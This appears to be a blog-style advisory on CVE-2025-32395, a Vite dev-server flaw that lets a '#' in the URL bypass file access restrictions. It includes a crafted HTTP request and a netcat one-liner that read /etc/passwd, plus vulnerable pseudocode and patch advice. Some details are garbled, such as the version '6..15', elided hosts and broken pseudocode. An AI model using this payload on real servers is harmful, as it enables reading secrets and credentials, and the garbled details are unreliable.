Vite has quickly risen as the frontend tooling choice for modern JavaScript developers, prized for its lightning-fast server startup and hot module reload. But as with any widely-adopted tool, security holes can have a big impact. In this deep dive, we’ll unravel the recently disclosed CVE-2025-32395 flaw. We'll review how it works, what’s at stake, and how to protect your Vite-powered projects.

What is Vite?

Vite is a frontend build tool that serves your source code over a local dev server. When you run vite or npm run dev, you spin up this server (usually accessible at http://localhost:5173/ by default). It watches your files and uses hot module reload for a fast development cycle.

Impact:

- An attacker can read arbitrary files from your machine, simply by visiting your dev server with a specially crafted HTTP request.

Why Does This Happen?

The HTTP 1.1 specification (RFC 9112) states that URLs in requests should NOT contain a # symbol (fragment identifier), and servers should reject such requests with a 400 or 301.
However, Node.js and Bun do not enforce this rule—they happily pass the full URL (including #) to application code like Vite's dev server.

Vite's default security check, server.fs.deny, assumes there will never be a # in req.url. This assumption is broken on Node and Bun, letting attackers sneak malicious file paths that defeat Vite's protection.

Demo: Exploiting With a Crafted HTTP Request

To exploit CVE-2025-32395, an attacker makes a raw HTTP request targeting the dev server with a # in the path. Most browsers won’t let you put a # in the path due to URL normalization—so attackers use tools like curl or netcat, or write custom scripts.

Example Attack Request

Suppose you're running Vite dev server at ...:5173 and have server.fs.deny blocking /etc/passwd. The attacker could send:

GET /@fs/etc/passwd# HTTP/1.1
Host: your-dev-server.com
Connection: close

In Node.js, Vite Receives

- The full req.url as /@fs/etc/passwd#, instead of stopping at the #.
- The check for denied folders is bypassed, and the contents of /etc/passwd are sent back to the browser!

Below is a hypothetical snippet illustrating the logic flaw

// Pseudocode
const denyList = ['/etc', '/home']; // e.g., server.fs.deny roots

function isDenied(url) {
  // Vulnerable: doesn't consider # in url!
  for (const denyRoot of denyList) {
    if (url.startsWith(/@fs${denyRoot})) {
      return true;
    }
  }
  return false;
}

server.on('request', (req, res) => {
  if (isDenied(req.url)) {
    res.statusCode = 403;
    return res.end('Access denied');
  }
  // Otherwise, serve file... even if url contains #!
});

The fix is to strip or process the URL properly as per the HTTP spec—see the fix PR.

Proof-of-Concept Exploit Code

Warning: DO NOT run this on your own server except for educational lab purposes.

# Use netcat or curl to send raw HTTP request
echo -e "GET /@fs/etc/passwd# HTTP/1.1\r\nHost: localhost:5173\r\nConnection: close\r\n\r\n" | nc localhost 5173

You would receive the contents of /etc/passwd if the dev server runs on Linux, or the relevant file for other operating systems.

Real-World Impact

- Any file readable by the Vite server process could be exfiltrated, including .env, private keys, source code, config files, etc.
- Only affects dev servers opened to the network (e.g., via vite --host), not those limited to localhost.

Patching and Mitigation

Upgrade immediately:
Vite versions fixing this are 6.2.6, 6.1.5, 6..15, 5.4.18, 4.5.13.

Never expose your dev server to the public internet.
Vite is intended for trusted local development only. Even with fixes, never deploy Vite dev server in production!

- Official Vite Security Advisory for CVE-2025-32395
- Vite Issue Tracker Discussion
- RFC 9112: HTTP/1.1 Semantics and Content
- Vite Pull Request fixing the bug

Final Thoughts

CVE-2025-32395 is a sharp reminder: Dev tooling is not immune from security hazards, and assumptions in code (like “there won’t be a # in the URL”) must always be validated according to protocol specs, not just developer expectations. Even if you only expose your dev server inside a safe LAN, you should still upgrade—it’s easy to accidentally run vite --host or bind to ....

Timeline

Published on: 04/10/2025 14:15:29 UTC
Last modified on: 04/11/2025 15:39:52 UTC